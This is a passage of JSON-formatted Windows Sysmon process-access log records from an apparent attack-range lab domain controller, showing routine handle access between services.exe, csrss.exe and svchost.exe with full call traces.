C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+4c6c|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.797","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1280","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-0010417D0100}","TargetProcessId":"2424","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+4c6c|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":963,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.797\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-0010417D0100}\r\nTargetProcessId: 2424\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.797","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-0010417D0100}","TargetProcessId":"2424","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":964,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.813\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 944\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-0010417D0100}\r\nTargetProcessId: 2424\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.813","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"944","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-0010417D0100}","TargetProcessId":"2424","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":965,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.813\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.813","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":966,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.813\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.813","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":967,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.813\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.813","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":968,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.813\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.813","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":969,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.813\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.813","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":970,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.813\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 